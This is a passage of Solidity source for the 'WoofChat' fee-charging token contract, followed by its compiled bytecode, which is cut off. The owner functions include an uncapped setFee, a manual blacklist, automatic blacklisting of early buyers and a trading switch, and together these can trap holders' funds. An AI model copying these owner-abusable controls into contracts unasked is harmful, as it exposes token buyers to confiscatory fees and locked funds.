using SafeMath for uint256;
string private constant _name = "WoofChat";//
string private constant _symbol = "WOOFCHAT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 12;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 18;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xD4ef79dc471D576b454F6Da05FDe530c5D005cc7);//
address payable private _marketingAddress = payable(0x823E2b195624af246B176986Ba8bdc0BA0F73e71);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9; //
uint256 public _maxWalletSize = 500000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600881526020017f576f6f6643686174000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600881526020017f574f4f4643484154000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129a668056bc75e2d6310000060065461267690919063ffffffff16565b8210156129c55760065468056bc75e2d631000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b60008082846